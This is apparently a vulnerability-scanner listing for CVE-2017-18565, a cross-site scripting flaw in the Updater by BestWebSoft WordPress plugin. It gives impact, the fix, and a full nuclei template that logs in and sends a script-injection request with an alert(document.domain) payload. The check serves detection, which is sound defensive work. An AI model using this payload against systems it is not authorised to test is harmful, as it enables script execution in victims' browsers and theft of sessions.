Updater by BestWebSoft < 1.35 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

The updater plugin before 1.35 for WordPress has multiple XSS issues.

Impact

Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update to version 1.35 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET /wp-content/plugins/updater/readme.txt
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>") and contains(body_3, "Updater by BestWebSoft")

Run it with nuclei: nuclei -id CVE-2017-18565 -u <target>

The full check

id: CVE-2017-18565

info:
  name: Updater by BestWebSoft < 1.35 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The updater plugin before 1.35 for WordPress has multiple XSS issues.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to version 1.35 or later.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18565
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18565
    - https://wordpress.org/plugins/updater/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18565
    cwe-id: CWE-79
    epss-score: 0.0139
    epss-percentile: 0.72551
    cpe: cpe:2.3:a:bestwebsoft:updater:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: updater
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/updater/
    fofa-query: body=/wp-content/plugins/updater/
    publicwww-query: "/wp-content/plugins/updater/"
  tags: cve2017,cve,wordpress,wp-plugin,xss,bws-updater,wpscan,authenticated,bestwebsoft,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/updater/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Updater by BestWebSoft")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from